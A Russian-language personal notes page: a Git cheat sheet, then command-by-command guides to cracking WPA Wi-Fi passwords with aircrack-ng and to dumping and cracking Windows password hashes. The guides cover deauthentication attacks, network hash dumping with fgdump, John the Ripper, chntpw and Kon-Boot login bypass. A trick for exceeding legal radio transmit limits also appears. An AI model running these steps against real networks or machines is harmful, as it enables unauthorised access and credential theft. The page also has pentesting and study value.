вторник, 20 ноября 2012 г.

Git

Что есть Git
 http://ru.wikipedia.org/wiki/Git


Начало

Создать init репозиторий в текущем каталоге
git init 
Будет создан скрытый каталог .git, содежащий информацию о репозитарии. Однако git пока не отслеживает изменения в файлах каталога.
Их нужно добавить add в список отслеживания т.н. индекс:
git add <имя_файла_или_папки>
или
git add .
. - означает, что добавить необходимо все файлы которые есть.
Дополнительный параметр -i позволяет выбрать файлы для индексирования в интерактивном режиме.


Если репозиторий уже существует, например по адресу https://my@repo/myproject.git то его можно скопировать clone себе командой
git clone https://my@repo/myproject.git
Удалить rm файлы с диска
 git rm <файл>
Удалить файлы из индекса (отслеживания)
 git rm --cached <файл>
Git будет часто напоминать о не отслеживаемых файлах, в каталоге репозитория. Имена этих файлов можно добавить в спосок исключений:
.git\info\exclude - файл с описанием типов файлов и папок не включаемых в репозиторий

После того, как файлы репозитария были изменены нужно зафиксировать эти изменения в git.
зафиксировать commit сделанные изменения
git commit -am "примечание"
поместить push все изменения в главное хранилище
git push
достать pull из главного хранилища
git pull
 Наконец самый полезный параметр --help 
git <вот-об-этой-команде-я-и-хочу-что-то-узнать> --help


Коммиты (фиксации)

Сделать коммит.
git commit -am "примечание"
-a  сделать коммит для всех файлов, если необходимо - неявно выполнить git add и git rm, для новых файлов и удалённых соответственно
-m "note"  добавить комментарий к коммиту
log Показать историю коммитов
git log
Последнее выглядит куда приятнее если использовать текстовый интерфейс для Git под названием tig:

 

 

 

 

 

 

 

 

 

Редактирование коммитов 

 

Дополнить (--amend) коммит изменениями.
Если коммит был сделан преждевременно, то можно внести изменения и после и добавить их в него, не создавая нового:
git commit -a --amend

Удалить (reset) последний коммит (но не изменения) (--soft)
git reset --soft HEAD^

Удалить последний коммит и последние изменения (--hard)
git reset --hard HEAD^

Все коммиты имеют SHA1 хэш, например  9effa6ec863ea18823ca69bfae1d1f0ac610e544
Используя хэш можно обратиться к конкретному коммиту (вместо последнего HEAD^). Обычно требуется только первые 4 цифры хэша для идентификации коммита (здесь это 9eff).
Удалить reset все коммиты после заданного
git reset --hard <хэш_фиксации> [файл для которого будет выполнена команда]
Переключится checkout на определённый коммит
git checkout <хэш_фиксации> [файл для которого будет выполнена команда]
Вернуть файл на состоние последнего коммита
git checkout -- file.txt

 

Ветки

master - название основной ветки по-умолчанию.
посмотреть список веток branch
git branch
-a или --all - посмотреть список всех веток, в том числе и хранимых в главном хранилище.
Cоздать новую ветку. Ветка будет создана как копия текущей.
git branch <имя_ветки>
-d или --delete - удалить ветку
-m или --move переименовать ветвь, например
git branch -m <имя_ветки> <новое_имя_ветки>
переключится на ветку
git checkout <имя_ветки>
-b - с этим параметром переключение происходит вместе с созданием новой ветки


Конфликты

Если в ветках, слияние которых происходит редактировались одни и те же части файлов - происходит конфликт. Git, тем не мение, помещает все изменения в один и тот же файл, однако отделяет изменения активной ветки
и той, с которой происходит слияние таким образом
<<<<<<< HEAD 
изменения в текущей ветке
======= 
изменения ветки с которой происходит слияние
>>>>>>> d918d23958841041e2f75b9cbfafc93e9a9a1321 
Оставить "их" или "наш" файл:

git checkout --theirs -- path/to/conflicted-file.txt
git checkout --ours -- path/to/conflicted-file.txt

Алсо

head     ссылка на последнюю фиксацию в текущей ветке
HEAD     текущая ветка. точнее, ...
origin     главный репозиторий по-умолчанию. ...

рассказать о себе
git config --global user.name "Your Name"
git config --global user.email you@example.com
Если опустить ключ --global в вышеприведённых командах то изменения коснутся только данного репозитория.

***
Сделать слияние определённых файлов из разных веток - SO
 

Примеры

Создать репозиторий
git init
# смотрим что есть в папке
git status
# при желании добавляем в файл .git/info/exclude исключения, файлы (или каталоги) которые не должны отслеживаться гитом
git add .
git commit -am "..."
git checkout -b develop_branch
репозиторий уже есть...
git clone https://sotona@bitbucket.org/sotona/p.git
git checkout -b my_branch
# делаем  какие-нибудь изменения
git commit -am "какое нибудь информативное описание"[link]
# ещё несколько изменений-фиксаций
...
# теперь наконец-то есть чем похвалиться, зальём изменения (и заодно новую ветку) в главное хранилище.
git push origin rz_consts 
# ещё несколько фиксаций и выталкиваний (какое-то дурацкое слово)
...
# похоже в этой ветке все задуманные изменения сделаны и к тому же работают. Пора объединить её с главной (master) веткой 
git checkout master
git merge my_branch
# отлично, заливаем всё в главное хранилище
git push origin master

Типичный сценарий работы с git.
Предполагается, что существуют две ветки: master, где должна содержатся рабочая версия кода и develop - ветка, в которую вносятся изменения.

На ветке develop. Внести изменения в отслеживаемые файлы.
Зафиксировать изменения в git
git commit -am "комментарий к изменениям"
Убедится, что код с внесенными изменениями работает.
Переключится на ветку master и объединить её с develop.
git checkout master
git merge develop

Вернутся в ветку develop для внесения новых изменений.
git checkout develop

Git GUI


Ссылки

codeschool: git (интерактивное введение в git)
Правила хорошего тона при работе с git в многопользовательском окружении
Обзорные:
http://habrahabr.ru/post/60030/
http://habrahabr.ru/post/60347/
Отладка с помощью Git
Магия Git - хорошая онлайн-книга о Git
Немного отвлечённое
Стиль именования коммитов

Aircrack-ng

Методология получения пароля

Здесь и далее речь пойдёт о wifi сетях защищённых паролем одним паролем для всех клиентов (WPA-PSK). Хотя, есть и другие способы защитить сеть.
1. Для прослушивания эфира понадобится перевести карту в режим монитора (monitor), чтобы можно было беспрепятственно прослуживать, а самое главное записывать происходящее в эфире (на частоте wifi).
2. В этом режиме нужно будет поймать так называемое четырхэтапное (четырёхсторонее) рукопожатие происходящее в момент подключения клиента к точке доступа. 
3. Далее, получив эти пакеты, можно делать предположения о пароле - брутфорсить.

Самые интересные это этапы 2 и 3.
Этап 1. Каждый клиент использует свой ключ (Pairwise Transient Key — кратковременный парный ключ) для шифрования. Этот ключ создаётся в момент подключения к ТД и меняется при каждом подключении. Он зависит от:
Pairwise Master Key — главный парный ключ, который зависит от:
--  пароля,
-- названия сети;
- MAC клиента;
- MAC точки доступа;
- A-nonce - случайная строка сгенерированная ТД;
- S-nonce - случайная строка сгенерированная клиентом.

Механизм создания PMK, PTK и MIC.
Механизм создания PMK, PTK и MIC.


Таким образом, обычно кроме пароля атакующему неизвестны A-nonce и S-nonce, которыми ТД и клиент обмениваются при подключении последнего в начале четырёхстороннего рукопожатия. Именно ради них и нужно либо ждать подключения клиента, либо принуждать его к переподключению. Наконец нужно знать MIC, который передаётся клиентом вместе с S-nonce. Кроме того, нужно знать имя сети, он содержится в beacon frame.

Для брута пароля необходимы три WiFi кадра
Первый кадр - beacon frame не содержит ничего примечательного кроме имени сети.

Второй кадр: точка дочтупа отправляет A-nonce

Тритий кадр: клиент отвечает фреймом содежащим S-nonce и MIC


4 way handshake
4 way handshake

Когда вся необходимая информация собранна, остаётся к уже известным данным добавлять различные пароли и проверять их на пригодность.

Этап 3.
Чтобы подбирать пароль, нужно знать как проверить его на пригодность. Здесь это происходит путём сравнения MIC (Message Integrity Code - код целостности сообщения) переданного по wifi сети и вычисленного при брутфорсе. MIC зависит помимо прочего и от PTK, а значит перебирая пароли можно получать разные MIC и сравнивать их с перехваченным.

Подробнее о генерации ключей и о методе перебора можно почитать здесь.

Сперва последует некоторая воводно-подготовительная часть, а далее уже сам процесс проверки сети на защищённость. Причём, будут рассмотрены аспекты касающиеся в основном aircrack.

Режимы работы wifi карты [link]

Managed - управляемый режим (по-умолчанию). Устройство работает как клиент с точкой доступа.
Ad-Hoc - устройство является самостоятельной ячейкой одноранговой сети;
Master - Мастер (узел является мастером синхронизации или работает как Точка Доступа),
Repeater — Повторитель (узел перенаправляет пакеты между другими беспроводными узлами)
Secondary - Вторичный (узел выступает в качестве резервного мастера/повторителя),
Monitor — Контроль (узел связан со всеми ячейками и пассивно мониторит все пакеты на частоте)
Auto - Автоматический. 

iwconfig покажет режим работы wifi карты:
wlan0    IEEE 802.11  ESSID:"my_network" 
          Mode:Managed  Frequency:2.412 GHz  Access Point: 11:22:33:45:67:89  
          Bit Rate=1 Mb/s   Tx-Power=20 dBm  
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=56/70  Signal level=-54 dBm 
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:157   Missed beacon:0

Aircrack-ng

Aircrack-ng можно найти в LiveCD на основе Silitaz (сборка разработчиков Aircrack-ng), в Kali linux (ранее Backtrack) или установить отдельно. Имеются версии для Windows и Linux. Последняя предпочтительнее. Разработчики предлагают ещё образ для VMware, который работает исключительно с USB WiFi картами.
Все операции выполняются от имени суперпользователя. Далее будет рассмотрена версия aircrack-ng 1.2.
Best Compatible USB Wireless Adapter for BackTrack 5, Kali Linux and Aircrack-ng

Подготовка 

Посмотреть список сетевых устройств
airmon-ng
Перевести Wi-Fi карту в режим монитора. Здесь и далее имя wifi карты wlan0
airmon-ng start wlan0
таким же образом, только командой stop можно остановить монитор на сетевой карте.
По-умолчанию имя монитора wlan0mon, используем теперь его.
Некоторые программы могут вмешиватся в работу адаптера. Их список можно просмотреть:
airmon-ng check
 и при необходимости сделать попыку завершить их работу:
airmon-ng check kill
Проверить, поддерживает ли карта инъекцию пакетов (injection_test) [подробнее, doc]
aireplay-ng -9 wln0mon

Поменяем mac адрес карты, для этого отключаем её
ifconfig wlan0mon down
поменять MAC адрес сетевой карты на рандомный (-r) или какой-то определённый (-m 00:31:41:59:26:53)

macchanger wlan0mon -r
или
ifconfig wlan0mon hw ether 00:00:00:00:aa:bb
включаем сетевую карту
ifconfig mon0 up

Увеличение мощности WiFi сигнала

Не все карты поддерживают изменение мощности в руном режиме. Ограничения на мощность сигнала описаны в файле /lib/crda/regulatory.bin (просмотреть командой regdbdump /lib/crda/regulatory.bin), для России как и для многих других стран, мощность ограничена 20дБ:
country RU:
    (2402.000 - 2482.000 @ 40.000), (N/A, 20.00)
Для Белиза ограничения иные:
country BZ:
    (2402.000 - 2482.000 @ 40.000), (N/A, 30.00)
Поэтому просто сменив регион, можно установив большую мощность передаваемого (tx - transmit) радиосигнала.

ifconfig wlan0 downвыключаем интерфейс
macchanger -r wlan0меняем MAC
iw reg set BZвыставляем регион Белиз
iwconfig wlan0 txpower 30увеличиваем мощность
ifconfig wlan0 upподнимаем интерфейс
***

Метод перехвата handshake (WEP, WPA, WPA2)

Самый простой способ. Необходимо перехватить момент авторизации клиента, получить т.н. handshake и используя последний подобрать пароль уже в офлайне. Ждать пока один из клиентов сети подключится к ней не обязательно, можно отключить его от сети и подождать  переподключения, как правило оно происходит автоматически. Подробнее, но на английском: http://www.aircrack-ng.org/doku.php?id=cracking_wpa

1. Промониторить доступные WiFi сети:
airodump-ng <interface>
Например, --wps показать информацию о WPS, о производителе (-M) и времени (--uptime) работы точки доступа:
airodump-ng --wps -M --uptime wlan0mon
 CH  3 ][ Elapsed: 15 mins ][ 2015-09-02 10:16 ][                                                                                                
 PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH        UPTIME  WPS                ESSID                       MANUFACTURER            
                                                                                                                                                                
 E9:78:B0:BE:EF:38  -55     2057       98    0   5  54e. WPA2 CCMP   PSK    0d 03:24:58  1.0 ETHER,LAB,PBC  TP-LINK_BEEF38              TP-LINK TECHNOLOGIES CO 
 60:B3:4E:1A:08:6E  -59      992        3    0   1  54e  WPA2 CCMP   PSK    0d 05:08:05                     kv29                        SAGEMCOM                
 7D:51:A2:6D:3B:B3  -81     1045        0    0   5  54e. WPA2 CCMP   PSK    0d 01:27:42                     SoftAP                      Unknown                 
                                                                                                                                                               
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                     
                                                                                                                                                                
 (not associated)   8C:27:16:E7:65:86  -85    0 - 1      0        1                                                                                             
 (not associated)   9C:C5:E4:E6:D9:57  -88    0 - 1      0        9                                                                                             
 (not associated)   00:10:3B:24:B5:92  -70    0 - 1      0       61                                                                                             
 (not associated)   D7:4A:00:11:51:91  -93    0 - 1      0       49  Ivanov                                                                                
 E9:78:B0:BE:EF:38  8C:D1:07:BE:80:5F  -71    0e- 1e     0       37                                                                                             
 E9:78:B0:BE:EF:38  0C:BD:51:27:74:08  -65    0 - 1      0        8  
Следить за конкретной точкой доступа и клиентами удобнее, если перейти в режим выделения <TAB> и там уже выделить интересующую точку доступа, автоматически будут подсвечены и подключенный к ней клиенты. Клавишей M устанавливается постоянная "подсветка" цветом ТД и подключенных устройств. Отсортировать таблицу по определённому полю можно последовательным нажатием клавиши S.
2. Начать запись перехваченных пакетов сети в файл:
airodump-ng -c <chanel_number> -w <out-file> --bssid <bssid> <interface>
-c  номер прослушиваемого канала.
Сетевая карта в один момент времени способна прослушивать только один канал. Если в параметрах airodump-ng не указать конкретного канала, то карта будет слушать весь эфир, уделяя каждому отдельному каналу время и игнорируя данные передаваемые на других каналах.
-w  имя файла, куда будут сохранены пакеты.
--bssid - bssid точки доступа.

***
В случае если во время перехвата пакетов возникает ошибка "fixed channel -1" , то её можно попытаться исправить передав ключ --ignore-negative-one. Такой же ключ нужно передать и программе airoplay-ng. [askubuntu],[kali]

3. параллельно процессу перехвата пакетов:
посылка пакетов деаутентификации
airoplay-ng -0 5 -a <bssid> <interface>
-0     режим отсылки пакетов деаутентификации
-a     bssid точки доступа
     ssid клиента, кого следует деаутентифицировать (необязательный параметр)

4. Ждать получения handshake.
Пакеты деаутентификации посылаются напрямую клиентам, а они как правило имеют меньший радиус "слышимости" чем точка доступа. Проследить получение клиентом пакетов можно по количеству ответных ACK  пакетов от него.
возможно стоит поэкспериментировать со скоростью работы карты iwconfig <interface>  rate auto [1MB, 2MB, 11MB, 54MB, etc] чтобы она совпадала со скоростью работы точки доступа.

Иногда airodump-ng не сообщает о получении handshake, поэтому стоит время от времени проверять cap файл на наличие handshake.

Самый простой способ это сделать, открыть файл например с помощью wireshark и применить фильтр eapol.
Например:
tshark -r n-01.cap -Y "eapol"

Для брута пароля необходимо два первых последовательных пакета"рукопожатия" (производимого с ТД за 4 шага). В них содержатся случайные строки сгенерированные клиентом и ТД - A-nonce и S-nonce, которые необходимы для генерации ключа PTK, а также MIC который используется для подбора пароля.



Более быстрый, но чуть менее надежный (с практической точки зрения) результат может дать программа cowpatty:
cowpaty -c -r <cap_file> 
Вполне возможно, что данных для брута в cap файле достаточно, но cowpatty вполне справедливо может отметить, что handshake не полный.

Выдернуть только необходимые для брута пакеты из дампа способна утилита wpaclean, тем самым избавив от необходимости работы с возможно объёмным cap файлом:
wpaclean <новый-pcap-файл> <pcap-файл>

5. Если handshake получен, то приступить к подбору пароля
aircrack-ng <dump-file.cap> -w <pass_dict>
 <dump> - имя файла с дампом.
 -w  имя файла со словарём паролей.
вместе c Backtrack поставляется словарь, найти его можно здесь: /root/pentest/passwords/wordlists, aircrack-ng тоже содержит в директории_исходных_кодов\test\password.lst словарь.

Предварительно можно запустить бенчмарк для измерения скорости подбора:
aircrack-ng -S
а также показать сведенья о процессоре:
aircrack-ng -u
Для генерации собственного своего словаря можно использовать crunch.

Если есть необходимость применить правила трансформации для паролей из словаря, то можно использовать John The Ripper через конвейер:
/opt/john/john --stdout -w:wordlist.lst --rules | aircrack-ng handshake -b 11:22:22:22:22:22 -w -

JohnTheRipper-Jumbo тоже подойдёт для перебора. Однако нужно конвертировать handshake из pcap файла в понятный для John формат с помощью программы wpapcap2john, что поставляется вместе с версией сообщества JTR-Jumbo (git, ветка bleeding jumbo):
/opt/john/wpapcap2john dump.cap > handshake.john
/opt/john/john lar-handshake.john --format=wpapsk
Кроме использования правил, John может похвастаться возможностью сохранять состояние перебора, позволяя продолжить его в дальнейшем с того же места, где работа была прервана. 

Увеличить производительность брута поможет GPU. Для этого Windows можно использовать Elcomsoft Wireless Security Auditor, Linux - pyrit, но наверное лучшая программа для этого кросплатформенный oclHashcat.

 

 Fake authentation

airodump-ng -c <channel> -w <out_file> --bssid <bssid> <interface> # dumping...
# making fake authentication
aireplay-ng -l 0 -a <bssid> -h <my_ssid> <interface>
#start airplay-ng in ARP request replay mode (-3 )
aireplay-ng -3 -b <bssid> -h <my_ssid> <interface>
#cracking the password
aircrack-ng -n <64 or 128 or ..> --bssid <bssid> <cap file>


...

Защита wifi

SoftPerfect WiFi Guard (Windows, MacOS) производит сканирование сети с определённым интервалом. Предупреждает о подключении незнакомого устройства, показывает список WiFi клиентов.
SoftPerfect WiFi Guard
SoftPerfect WiFi Guard

waidps (python script). В число возможностей программы входит обнаружение атак и подозрительной активности в WiFi сетях. Ведёт логирование и предупреждает об атаках. Во время работы переводит WiFi адаптер в режим монитора.

 
пример вывода waidps.

(изображение с syworks.blogspot.ru)



 

Алсо

Тест скорости подбора паролей WPA (-S )
aircrack-ng -S
Подключение к wifi сети из командной строки
С использованием утилиты сходящей в состав Network Manager - nmcli [using nmcli], [also].
С программой довольно просто работать, ибо по двойному табу она показывает возможные команды. Кроме того, в руководстве есть примеры использования.
Просмотрим список доступных сетей:
nmcli dev wifi
SSID                              BSSID               РЕЖИМ            ЧАСТОТА    СКОРОСТЬ   СИГНАЛ   БЕЗОПАСНОСТЬ АКТИВЕН
'network1'                  C1:B0:C1:f6:AD:09   Инфраструктура   2417 МГц   54 МБ/с    69       WPA2       нет    
'network2'                  F0:37:AA:CF:F8:66   Инфраструктура   2462 МГц   54 МБ/с    62       WPA2       нет 
Этот способ можно использовать и для того, что сравнить уровень сигнала на нескольких картах одновременно. В этом случае, для каждого адаптера будет отображаться своя таблица.

Подключимся к новой сети с SSID "Cafe Hotspot 1" используя пароль caffeine
nmcli dev wifi con "Cafe Hotspot 1" password caffeine name "My cafe"

***
При подключении к сети MAC адрес карты может поменяться на дефолтный, поэтому перед сменой адреса карты следует отключать службу
network-manager: 

service network-manager stop
Другой путь - в настройках подключения Network Manager'a в поле cloned MAC указать вновь присвоенный карте MAC адрес.
***
Смена hostname: askubuntu.com


***
Подробная информация об адаптерах [askubuntu]
lshw -C network
или
iw list
***
Включение режима точки доступа WiFi карты с использование hostapd
habrahabr.ru
Стоит отметить, что hostapd игнорирует комментарии только в отдельных строках. Для проверки конфига ТД следует запускать не демон (service hostapd start), а использовать комманду (-dd для подробного вывода)
hostapd -dd <файл конфигурации>
Нормальной работе hostapd может мешать NetworkManager, поэтому следует либо его отключить либо добавать MAC адрес интерфейса в исключения.  [help.ubuntu]

Другие утилиты
Airodump-NG Scan Visualizer - поможет просмотреть CVS файл и поиграться с хранящимися там данными о сетях. В том числе покажет информацию о подключённых клиентах, уровне сигнала, шифровании перехваченных пакетах и т.п.

"Zero Security: A". Horst - утилита для анализа Wi-Fi сетей
Waidps – средство обнаружения атак в Wi-Fi сетях

Python

С помощью пакеты Scapy можно довольно легко анализировать сетевые пакеты. Wifi - пакет с нехитрым названием и функционалом похожим на iwlist: сканирование сетей и подключение к ним.
Violent Python - A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers, TJ O'Connor

Другие атаки
Использование reaver для восстановления PIN-кода WPS
Модификация форка Reaver — t6x — для использования атаки Pixie Dust
Фальшивый хотспот Wifiphisher автоматически собирает пароли

Отправка сообщения по окончанию процесса перебора
Процесс подбора пароля ожидаемо может быть долгим, поэтому логичным будет как-то информировать пользователя об его окончании. Самый простой путь - добавить комманду через точку с запятой после вызова aircrack:
aircrack-ng dump.cap -w wordlist; notify-send "John complited"
Обыкновенный вывод уведомления на экран программой notify-send не подходит, то можно отправить XMPP сообщение программой sendxmpp или емейл программой mailx. [linux notes]

Если возникает необходимость настроить отправку сообщения когда aircrack-ng уже запущен и нет желания прерывать его работу, то можно воспользоваться простеньким однострочным скриптом:
while [ `pidof aircrack-ng` ]; do sleep 10; done; notify-send "..."
Скрипт будет выполнять команду sleep 10, до тех пор пока он может получить pid процесса с именем aircrack-ng. Затем, когда pid не будет получен (процесс aircrack-ng завершится) выполнится следующая комманда - notify-send. Разумеется для корректной работы скрипта нужно чтобы работал только один экземпляр процесса aircrack-ng.

Ссылки

Пароли учётных записей Windows

NT, LM, MSCACHE и MSCACHE2 хэши 

Пароли пользователей Windows хранятся в NTLM и LM хэшах. В LM хэше может хранится строка длинной до 14 символов, если длинна больше Windows не использует этот хэш предпочитая ему NTLN. Кроме этого, можно не хранить пароль в LM хэшах вообще, отключив его вычисление в настройках. В Vista и поздних системах LM хэш не используется. В этих случаях может(?) хранится хэш от пустой строки.
У LM хэша есть две особенности:
1. пароль для хранения разбиваться на две части по 7 символов (если, конечно, длинна у него не меньшая). Соответственно хэши считаются для этих частей отдельно.
2. Все буквы в пароле переводятся в верхний регистр. Пример LM хэшей - паролей (последний хэш - для пустой строки):
D4A0539829018EA7 AAD3B435B51404EE : vega
CCF9155E3E7DB453 AAD3B435B51404EE : 123
96FA5702D3668DE7 96FA5702D3668DE7 : vegaLYRvegaLYR
AAD3B435B51404EE AAD3B435B51404EE :
LM и NTLM хэши имеют одинаковую длину (16 байт), но различаются в способе их вычисления. NT хэш вычисляется с помощью алгоритма MD4, причём пароль представлен в кодировке UTF16, а не в ASCII как для LM хэша.
Те же самые пароли, что и выше, представленные в виде NT хэша (последний хэш -  для пустой строки):
BD36CFFAA3C4AF5C E6FBBDCC0020B6EF : vega
3DBDE697D71690A7 69204BEB12283678 : 123
AB4580D78905FC47 3FE721A043457167 : vegaLYRvegaLYR
31d6cfe0d16ae931 b73c59d7e0c089c0 :
Эти хэши хранятся в файле %SystemRoot%\System32\Config\SAM  зашифрованные системным ключом, что хранится в файле system. Оба файла расположены в одно каталоге и представляют собой части реестра Windows [wiki].
В редакторе реестра хэш можно найти по адресу HKLM\SAM\SAM\Domains\Account\users\[RID]\V, где RID - числовой идентификатор пользователя.
Подробнее - Хранение и шифрование паролей Microsoft Windows

Cached credentails 
В случае, если пароль пользователя хранится в Active Directory, то по вышеуказанному адресу будет лежать лишь хэши пустых строк, LN и NT соответственно : aad3b435b51404eeaad3b435b51404ee : 31d6cfe0d16ae931b73c59d7e0c089c0

Однако, Windows хранит последние 10 (по умолчанию) используемых для входа пользователя хэшей в реестре, по адресу
HKEY_LOCAL_MACHINE\SECURITY\Cache.
До выхода в свет Windows Vista это были хэши MSCACHE (MSCASH в терминологии JohtTheRipper) вида:
NTLMHash( NTLMHash(password) + username ),
где имя пользователя это юникод строка в нижнем регистре [Cached Credentials, openwall: MSCash]. Таким образом в качестве "соли" использовалось имя пользователя.
С выходом Windows Vista стал использоваться хэш MSCASH2 (MSCash2).

Пример MSCASH2 хэша для пароля Password123 и пользователя test2: d7f91bcdec7c0df39396b4efc81123e4

Алсо
Для питона есть пакет passlib, с помощью которого можно вычислить описанные выше виды хэши.


Получение хэшей

Из Windows. fgdump (pwdump) [download]

Всё очень просто. Необходимо запустить (прежде отключив антивирус) fgdump от имени администратора, программа создаст файл с расширением .pwdump в который запишет все хэши:
123:1004:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12283678:::
HelpAssistant:1000:AA110CC154019E6EC3B0E1F17C1A6005:53BDA4C8B460DCA36AB5AF9297EF6632:::
qwerty:1003:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1002:NO PASSWORD*********************:95936DCF173773EE3AF60E929F5B19A3:::
user1:1005:D4A0539829018EA7AAD3B435B51404EE:AEBF16E3B8F04FD2995C2E8F4F8820D5:::
user2:1006:D4A0539829018EA7AAD3B435B51404EE:BD36CFFAA3C4AF5CE6FBBDCC0020B6EF:::
user3:1007:96FA5702D3668DE796FA5702D3668DE7:AB4580D78905FC473FE721A043457167:::
user4:1008:NO PASSWORD*********************:AE72983EDE69AC85AF294B54A55E3A09:::
Получить хэши можно и по сети
fgdump.exe -h 192.168.0.10 -u AnAdministrativeUser [-p password]
Утилита позволяет получить хэши для доменной учётной записи (MSCASH).


liveCD (backtrack, kali)

Ещё один способ добыть хэши паролей пользователей Windows - загрузиться с liveCD, скопировать sam и system файлы, например на флешку и  продолжить работу с ними уже "оффлайн".
Просмотрим все диски
fdisk -l


 

 

 

 















Монтируем раздел
mount -t ntfs-3g /dev/sdb1 /mnt/windows
-t <тип монтируемого раздела> в данном случае (NTFS) это ntfs-3g, для FAT - vfat

Файлы SAM и SYSTEМ располагаются в Windows/System32/config. Первый хранит хэши паролей, второй - system boot key.
Программа samdump2 вытаскивает NTLM хэши из SAM и расшифровывает с помошью ключа из system:
samdump2 SYSTEM_FILE SAM_FILE > hashes
***
При использовании старых версий samdump2 ключ приходилось добывать отдельно.
Добыть ключ из SYSTEМ - задача программы bkhive:
bkhive <SYSTEM file> <key-file>
используя полученный ключ получить хэши - samdump2:
samdump2 <SAM file> <key-file> > <hashes>


Файл  hashes имеет формат:
username*:ID:LM hash: NT hash
и может выглядеть, например, вот так:
4<8=8AB@0B>@:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
>ABL:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:aa110cc154019e6ec3b0e1f17c1a6005:53bda4c8b460dca36ab5af9297ef6632:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:95936dcf173773ee3af60e929f5b19a3:::
qwerty:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
123:1004:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
user1:1005:d4a0539829018ea7aad3b435b51404ee:aebf16e3b8f04fd2995c2e8f4f8820d5:::
user2:1006:d4a0539829018ea7aad3b435b51404ee:bd36cffaa3c4af5ce6fbbdcc0020b6ef:::
user3:1007:96fa5702d3668de796fa5702d3668de7:ab4580d78905fc473fe721a043457167:::
user4:1008:aad3b435b51404eeaad3b435b51404ee:ae72983ede69ac85af294b54a55e3a09:::
* два первых имени пользователя - кирилические.


Cached credentails

Для кэшированых на локальном компьютере хэшей доменной учётной записи программа cachedump выдаст хэши:
cachedump <system hive> <security hive>

***

Cain&Abel среди своего обширного функционала имеет функцию "добычи" (функционал cracker'a) хэшей\кэшей NTLM\MSCASH из отдельных файлов реестра SAM и SYSTEM и с локальной машины.

***

Кроме вышеописанных инструментов можно использовать богатые возможности Metasploit Framework для получения хэшей.
Using the Metasploit SMB Sniffer Module

***

Ещё один путь получения хэшей - дамп оперативной памяти (возможно файл подкачки?), в котором можно обнаружить вышеупомянутый раздле реестра.

Подбор пароля

John the Ripper

john <file-with-hashes>
Эта команда запустит John в т.н. single crack режиме, программа будет перебирать пароли в соответствии с правилами описными в конфигурационном файле. Для NTLM хэшей необходимо использовать версию программы - jumbo.
В данном случае john начнёт подбирает пароли для LM хэшей, опция --format=NT предсказуемо сменит тип хэша.
Атака по словарю (-w <путь к словарю>)
john hashes -w common-passwords.lst
Прамаетр --user=<имя пользователя> указывает конкретного пользователя (если в файле с хэшами их несколько) для которого будет осуществлён перебор.
По ходу работы программа будет выводить найденные пароли  в виде: пароль (имя пользователя), статус работы можно посмотреть нажав любую клавишу.
После завершения атаки просмотреть (--show) пароли можно так
 john <file-with-hashes> --show
Так будет выглядеть вывод (--show)  если john подберёт пароль для LM хэша

user2:VEGA:d4a0539829018ea7aad3b435b51404ee:bd36cffaa3c4af5ce6fbbdcc0020b6ef:::

и для NT хэша
user2:Vega:d4a0539829018ea7aad3b435b51404ee:bd36cffaa3c4af5ce6fbbdcc0020b6ef::: 
Пароли расположены после имени пользователя (отмечены курсивом). Найденный пароль также можно увидеть в файле john.pot, что, как правило, лежит в каталоге с исполняемый файлом john.

Пример

bkhive <SYSTEM file> <key-file>
samdump2 <SAM file> <key-file> > <text-file> 
#for NT hashes
john  <hash-file> --format=NT
# or
john <hash-file>

john --format=NT <hash-file> --show > <pash-hash-file>
Для солёных именем пользователя хэшей доменных учётных записей -format:mscash:
john --wordlist:password.lst -format:mscash mydump.txt

 

SAMInside

В программе реализована брутфорс атака, атака по словарю\по маске, атака с использованием радужных таблиц.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Другой софт:
Уже упомянутый Cain&Abel  умеет брутфорсить описанные типы хэшей.


Hashcat - поддерживает множество хэш-функций, может использовать GPU;
Ophcrack - взламывает NTLM хэши используя радужные таблицы;
etc.


Удаление или смена пароля

Для  сброса паролей можно воспользоваться консольной утилитой chntpw. Программа позволяет сменить пароль пользователя и наделить одного из пользователей правами администратора а также редактировать другие ключи реестра в ручном режиме. В ОС BackTrack, программа располагается вот здесь /pentest/passwords/chntpw/
Просмотреть (-l) пользователей
chntpw -l <SAM>
Интерактивный (-i) режим позволяет за несколько простых шагов проделать вышеописанные действия:
/pentest/passwords/chntpw/chntpw -i <SAM>




























После после завершения операций, перед выходом, остаётся утвердительно ответить на вопрос о сохранении изменений.

***

Возможность залогиниться без ввода пароля предоставляет платная программа Kon-Boot. Для этого следует предварительно загрузится с liveCD\USB Kon-Boot и после автоматического запуска Windows можно будет игнорируя поля ввода пароля войти в систему под любым пользователем. [демонстрация]

 

Ссылки

Learn samdump on backtrack 5
How to crack Windows Passwords using *dump
Memory Forensics: How to Pull Passwords from a Memory Dump
OnlineHashCrack.com
crack MD5, SHA1 and/or NTLM hashes

Восстанавливаем локальные и доменные пароли из hiberfil.sys
Volatility. Retrieve password from memory dump

Программы
cachedump

Калькуляторы хэшей
http://www.nitrxgen.net/hashgen/
***
Алсо